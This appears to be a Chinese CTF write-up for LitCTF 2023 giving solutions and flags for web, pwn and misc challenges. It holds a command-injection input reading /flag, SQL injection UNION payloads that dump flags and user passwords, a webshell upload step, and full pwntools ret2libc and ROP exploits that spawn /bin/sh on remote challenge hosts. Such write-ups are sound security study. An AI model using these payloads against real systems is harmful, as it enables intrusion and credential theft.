文章目录
- Web
- 我Flag呢?
- Follow me and hack me
- Ping
- 导弹迷踪
- PHP是世界上最好的语言!!
- 作业管理系统
- Vim yyds
- 这是什么?SQL !注一下 !
- 就当无事发生
- Flag点击就送!
- Http pro max plus
- 1zjs
- 彩蛋
- Pwn
- 只需要nc一下~
- 口算题卡
- 狠狠的溢出涅~
- ezlogin
- Misc
- 签到!
- What_1s_BASE
- take me hand
- 喜欢我的压缩包么
- 404notfound
- 这羽毛球怎么只有一半啊
- 破损的图片
- OSINT 探姬去哪了?_1
- OSINT 探姬去哪了?_2
- OSINT 探姬去哪了?_0
- OSINT 探姬去哪了?_3
- OSINT 这是什么地方?!
- OSINT 小麦果汁
- Mincemeat
- 两仪生四象
- ssvvgg
- 雪山的秘密
- easy_shark
Web
我Flag呢?
直接查看源码,在最底下注释里面找到flag
Follow me and hack me
使用get和post分别传值,得到flag
GET:?CTF=Lit2023
POST:Challenge=i'm_c0m1ng
Ping
command=127.0.0.1;cat /flag&ping=Ping
导弹迷踪
查看网页源码,打开game.js文件
在game.js中找到flag,加上NSSCTF标志
PHP是世界上最好的语言!!
在输入栏中直接输入system(‘cat /flag’);即可得到flag,存在命令执行
作业管理系统
打开环境,在源码中找到 账号密码 均为admin
上传文件一句话木马 然后用蚁剑连接
Vim yyds
vim异常退出会留下swp文件,访问.index.php.swp会得到源码
放到linux上直接可以看
password=R2l2ZV9NZV9Zb3VyX0ZsYWc=&cmd=cat /flag
这是什么?SQL !注一下 !
嵌套了多层括号,过滤了+和#(没测试完整),其他没什么要注意的
flag不在当前库,在ctftraining库中,最后的payload如下:
?id=0)))))) union select 1,concat(flag) from ctftraining.flag limit 0,1 -- 1
就当无事发生
一道简单的github泄露题
LitCTF{g1thub_c0mmit_1s_s0_us3ful}
Flag点击就送!
考的是Flask session伪造
Http pro max plus
Client-IP:127.0.0.1
Referer:pornhub.com
User-Agent:Chrome
Via:Clash.win
访问:/wtfwtfwtfwtf.php
接着访问/sejishikong.php
1zjs
js有提示
/f@k3flag.php
jsfuck
彩蛋
第一段flag在我Flag呢?
的script.min.js
文件中
第二段在Follow me and hack me
的www.zip
备份文件中
第三段在作业管理系统
第四段在这是什么?SQL !注一下 !
/?id=0)))))) union select 1,concat(password) from ctf.users limit 1,2 -- 1
NSSCTF{First_t0_The_k3y!_S0_ne3t?_R3ady_Pl4yer_000ne_F1rst_to_Th3_eggggggggg!}
Pwn
只需要nc一下~
从Dockerfile文件获取变量FLAG
口算题卡
from pwn import *
io = remote('node4.anna.nssctf.cn',28253)
#context(arch='amd64',os='linux',log_level='debug',terminal=['tmux','splitw','-h'])
#根据输出跑100次
for i in range(100):
io.recvuntil(b"What is ")
#接收符号前字符
a = int(io.recvuntil(b" ")[:-1])
#接收符号字符
z = str(io.recvuntil(b" ")[:-1])[2:-1]
#接收符号后字符
b = int(io.recvuntil(b"?\n")[:-2])
#判断符号,根据符号进行运算
t = 0
if z == '+':
t = a+b
if z == '-':
t = a-b
if z == '*':
t = a*b
if z == '/':
t = a/b
#将运算的值发送
io.sendline(b"%d"%(t))
#跑完后获取flag
io.recvuntil(b"flag:")
flag = str(io.recvuntil(b"\n")[:-1])[2:-1]
print('[🦆]flag is :\n\033[1;31m'+flag+'\033[0m')
狠狠的溢出涅~
ret2libc
泄漏函数真实地址,通过偏移执行未调用过的system(“/bin/sh”)
from pwn import *
#io = process("./pwn4")
io = remote("node6.anna.nssctf.cn",28533)
elf = ELF("./pwn4")
libc = ELF("./libc-2.31.so")
#context(arch='amd64',os='linux',log_level='debug',terminal=["tmux",'splitw','-h'])
main = elf.sym['main']
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
pop_rdi = 0x00000000004007d3
ret = 0x0000000000400556
#先存入"\x00"直接略过strlen()函数
payload = b"\x00"
#存入变量到rbp距离的字符
payload += b"A"*0x5f
#覆盖rbp的值
payload += p64(0)
#先跳转到ret维持栈平衡
payload += p64(ret)
#跳转到pop_rdi_ret用于存入参数
payload += p64(pop_rdi)
#存入puts_got为puts()参数打印puts()真实地址
payload += p64(puts_got)
#跳转到puts_plt执行puts()函数
payload += p64(puts_plt)
#跳转回main函数
payload += p64(main)
io.recvuntil(b"Leave your message:\n")
io.sendline(payload)
io.recvuntil(b"Ok,Message Received\n")
puts_addr = u64(io.recvuntil(b"\n")[:-1].ljust(8,b"\x00"))
base = puts_addr - libc.sym['puts']
system = base + libc.sym['system']
bin_sh = base + next(libc.search(b"/bin/sh\x00"))
payload1 = b"\x00" + b"A"*0x5f + p64(0) + p64(pop_rdi) + p64(bin_sh) + p64(system) + p64(main)
io.recvuntil(b"Leave your message:\n")
io.sendline(payload1)
io.recvuntil(b"Ok,Message Received\n")
io.sendline(b"cat flag")
flag = str(io.recvuntil(b"}"))[2:-1]
print('[🦆]flag is :\n\033[1;31m'+flag+'\033[0m')
ezlogin
read函数读取数量的判断上只判断了低8位
这个函数调试发现是strcpy
然后就可以构造ROP链了,构造好后输入PASSWORD触发ROP链
由于程序中没有binsh字符串,所以先read然后栈迁移,栈迁移后再exeve
from pwn import *
# r = process("./pwn")
r = remote("node6.anna.nssctf.cn", "28434")
# gdb.attach(r, "b * 0x40061A\n c")
# sleep(1)
def edit_bit(offset, content):
bit_payload = b""
bit_payload = bit_payload.ljust(offset, b"a")
bit_payload += content
r.sendafter("Input your password:\n", bit_payload)
pop_rdi_ret = 0x400706
pop_rsi_ret = 0x410043
pop_rdx_ret = 0x448c95
pop_rax_ret = 0x4005af
pop_rsp_ret = 0x401de3
syscall = 0x448C8C
payload = b""
payload = payload.ljust(0x108, b"\x00")
payload += p64(pop_rdi_ret) + p64(0)
payload += p64(pop_rdx_ret) + p64(0x100)
payload += p64(syscall)
payload += p64(pop_rsp_ret) + p64(0x6b93f0)
i = len(payload) - 1
substr = b""
while(i >= 0x100):
if(payload[i] == 0):
if substr == b"":
edit_bit(i, b"")
else:
edit_bit(i + 1, substr)
substr = b""
edit_bit(i, b"")
else:
substr = p8(payload[i]) + substr
i = i - 1
r.sendafter("Input your password:\n", "PASSWORD\x00")
sleep(1)
payload = 5 * b"\x00" + b"/bin/sh\x00"
payload += p64(pop_rdi_ret) + p64(0x6b93e8)
payload += p64(pop_rsi_ret) + p64(0)
payload += p64(pop_rdx_ret) + p64(0)
payload += p64(pop_rax_ret) + p64(59)
payload += p64(syscall)
r.send(payload)
r.interactive()
Misc
签到!
LitCTF{Welcome_t0_LitCTF2023}
What_1s_BASE
NSSCTF{KFC_Cr4zy_Thur3day_V_me_50}
take me hand
url加密,解码即可:
NSSCTF{Give_y0ur_hand_to_me!!!_plz}
喜欢我的压缩包么
NSSCTF{Do-u-like-my-zip-p4ck?}
404notfound
这羽毛球怎么只有一半啊
破损的图片
OSINT 探姬去哪了?_1
OSINT 探姬去哪了?_2
OSINT 探姬去哪了?_0
OSINT 探姬去哪了?_3
OSINT 这是什么地方?!
OSINT 小麦果汁
Mincemeat
升到30级之后自动获取flag
两仪生四象
# 这脚本写的真烂
str = "坤乾兑艮兑坎坤坤巽震坤巽震艮兑坎坤震兑乾坤巽坤艮兑震巽坤巽艮坤巽艮艮兑兑艮震兑乾坤乾坤坤兑艮艮坤巽坤坤巽坎坤兑离坎震艮兑坤巽坎艮兑震坤震兑乾坤乾坎坤兑坎坤震艮离坤离乾艮震艮巽震离震坤巽兑艮兑坎坤震巽艮坤离乾艮坎离坤震巽坎坤兑坤艮兑震巽震巽坎坤巽坤艮兑兑坎震巽兑"
_hash = {"乾": "111", "兑": "011", "离": "101", "震": "001", "巽": "110", "坎": "010", "艮": "100", "坤": "000"}
list = []
for line in str:
list.append(_hash[line])
line = "".join(list)
with open('1.txt', 'a') as f:
for i in range(len(line)):
f.write(line[i])
# print(line[i], end="")
if (i + 1) % 10 == 0:
f.write("\n")
with open("1.txt", "r") as f:
lines = f.readlines()
print("NSSCTF{", end="")
for i in lines:
obj = "0b" + i
print(chr(eval(obj)), end="")
print("}")
ssvvgg
雪山的秘密
BV1oy4y1i7Va
根据出题人的成分可知这题与原神的雪山有关联,可以将音频上传
https://databorder.com/transfer/morse-sound-receiver
3.2-..3-.23-.32-32.-3..-/..2-223-.32-322-..3-..2-/2.2-3..-232-223-..2-.32-/3.2-..3-.23-3.3-..3-/.32-32.-322-.3.-/.3.-33.-22.-23.-..3-.23-..2-3..-/.2.-..3-2.2-3..-.23-/23.-.33-.32-2.2-3..-/3.2-223-322-332-3..-233
-换空格 .换0 2换1 3换2
201 002 012 021 210 200 /001 112 021 211 002 001 /101 200 121 112 001 021 /201 002 012 202 002 /021 210 211 020 /020 220 110 120 002 012 001 200 /010 002 101 200 012 /120 022 021 101 200 /201 112 211 221 200 122
然后三进制转十进制
19 2 5 7 21 18 /1 14 7 22 2 1 /10 18 16 14 1 7 /19 2 5 20 2 /7 21 22 6 /6 24 12 15 2 5 1 18 /3 2 10 18 5 /15 8 7 10 18 /19 14 22 25 18 17
后面就是将数字转换成26位英文字母得到一段凯撒密码,后移13位(ROT 13)
全部解谜后的结果就是FORTHE,SKYBORNE,FAILED,FORGO,NATION,BUTWE,POWER,THIS,WECANT
flag: NSSCTF{FOR_THE_NATION_WE_CANT_FORGO_THIS_SKYBORNE_POWER_BUT_WE_FAILED}
easy_shark
简单的蚁剑流量,最后一个流中发现线索
cd "/flag";cat win;echo [S];pwd;echo [E]
2654641fCan you request my question?
(x^2-x**2)+(x-17)(x-77)=0
#gezx{j13p5oznp_1t_z_900y_k3z771h_k001}
[S]
/flag
[E]
766ab9
这里方程有两个解: x=17 or x=77,根据密文猜测是替换字母,并且给了两个参数,猜测是仿射密码:http://www.hiencode.com/affine.html
NSSCTF{w13e5hake_1s_a_900d_t3a771c_t001_a}